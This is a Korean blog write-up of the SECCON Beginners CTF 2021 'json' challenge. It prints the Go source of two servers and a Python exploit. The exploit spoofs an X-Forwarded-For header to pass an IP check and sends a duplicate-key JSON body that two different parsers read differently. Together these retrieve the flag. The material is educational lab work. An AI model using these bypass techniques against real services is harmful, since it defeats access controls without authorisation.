본문 바로가기
CTF

[SECCON - Beginners_CTF_2021] json

by skyepodium 2023. 5. 28.

1. 개요

X-Forwarded-For 문제, json 파서 문제

 

2. 분석

bff 에서 요청을 받고, 검사를 통과하면, api 서버로 요청을 보냅니다.

 

- bff에서 IP를 검사하고, client의 IP 가 192.168.111.X 이어야합니다.

- bff 에서는 id가 1 이어야합니다.

- api에서는 id가 2 이어야합니다.

 

IP - X-Forwarded-For 헤더로 192.168.111.1로 세팅해서 검사를 통과할 수 있습니다.

id - bff와 api 파일의 json 파서가 서로 다릅니다.

   - data = '{"id": 2, "id": 1}' 로 보낸다면,

   - bff의 go 표준json 파서 결과는 - id: 1

   - api의 buger/jsonparser 결과는 - id: 2

 

 

- bff

package main

import (
	"bytes"
	"encoding/json"
	"io/ioutil"
	"net"
	"net/http"

	"github.com/gin-gonic/gin"
)

type Info struct {
	ID int `json:"id" binding:"required"`
}

// check if the accessed user is in the local network (192.168.111.0/24)
func checkLocal() gin.HandlerFunc {
	return func(c *gin.Context) {
		clientIP := c.ClientIP()
		ip := net.ParseIP(clientIP).To4()
		if ip[0] != byte(192) || ip[1] != byte(168) || ip[2] != byte(111) {
			c.HTML(200, "error.tmpl", gin.H{
				"ip": clientIP,
			})
			c.Abort()
			return
		}
	}
}

func main() {
	r := gin.Default()
	r.Use(checkLocal())
	r.LoadHTMLGlob("templates/*")

	r.GET("/", func(c *gin.Context) {
		c.HTML(200, "index.html", nil)
	})

	r.POST("/", func(c *gin.Context) {
		// get request body
		body, err := ioutil.ReadAll(c.Request.Body)
		if err != nil {
			c.JSON(400, gin.H{"error": "Failed to read body."})
			return
		}

		// parse json
		var info Info
		if err := json.Unmarshal(body, &info); err != nil {
			c.JSON(400, gin.H{"error": "Invalid parameter."})
			return
		}

		// validation
		if info.ID < 0 || info.ID > 2 {
			c.JSON(400, gin.H{"error": "ID must be an integer between 0 and 2."})
			return
		}

		if info.ID == 2 {
			c.JSON(400, gin.H{"error": "It is forbidden to retrieve Flag from this BFF server."})
			return
		}

		// get data from api server
		req, err := http.NewRequest("POST", "http://api:8000", bytes.NewReader(body))
		if err != nil {
			c.JSON(400, gin.H{"error": "Failed to request API."})
			return
		}
		req.Header.Set("Content-Type", "application/json")
		client := new(http.Client)
		resp, err := client.Do(req)
		if err != nil {
			c.JSON(400, gin.H{"error": "Failed to request API."})
			return
		}
		defer resp.Body.Close()
		result, err := ioutil.ReadAll(resp.Body)
		if err != nil {
			c.JSON(400, gin.H{"error": "Failed to request API."})
			return
		}

		c.JSON(200, gin.H{"result": string(result)})
	})

	if err := r.Run(":8080"); err != nil {
		panic("server is not started")
	}
}

 

- api

package main

import (
	"io/ioutil"
	"os"

	"github.com/buger/jsonparser"
	"github.com/gin-gonic/gin"
)

func main() {
	r := gin.Default()

	r.POST("/", func(c *gin.Context) {
		body, err := ioutil.ReadAll(c.Request.Body)
		if err != nil {
			c.String(400, "Failed to read body")
			return
		}

		id, err := jsonparser.GetInt(body, "id")
		if err != nil {
			c.String(400, "Failed to parse json")
			return
		}

		if id == 0 {
			c.String(200, "The quick brown fox jumps over the lazy dog.")
			return
		}
		if id == 1 {
			c.String(200, "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.")
			return
		}
		if id == 2 {
			// Flag!!!
			flag := os.Getenv("FLAG")
			c.String(200, flag)
			return
		}

		c.String(400, "No data")
	})

	if err := r.Run(":8000"); err != nil {
		panic("server is not started")
	}
}

 

3. exploit

import requests


def get_flag():
    url = "http://localhost:80/"

    data = '{"id": 2, "id": 1}'

    headers = {
        "X-Forwarded-For": "192.168.111.1",
    }

    res = requests.post(url, headers=headers, data=data)
    print(res.text)


if __name__ == "__main__":
    get_flag()

'CTF' 카테고리의 다른 글

[tjCTF 2023] beep-boop-robot  (0) 2023.05.29
[SECCON - Beginners_CTF_2021] magic  (0) 2023.05.28
[SECCON - Beginners_CTF_2021]  cant_use_db  (0) 2023.05.28
[SECCON - Beginners_CTF_2021] osoba  (0) 2023.05.28
[SECCON - Beginners_CTF_2021] werewolf  (0) 2023.05.28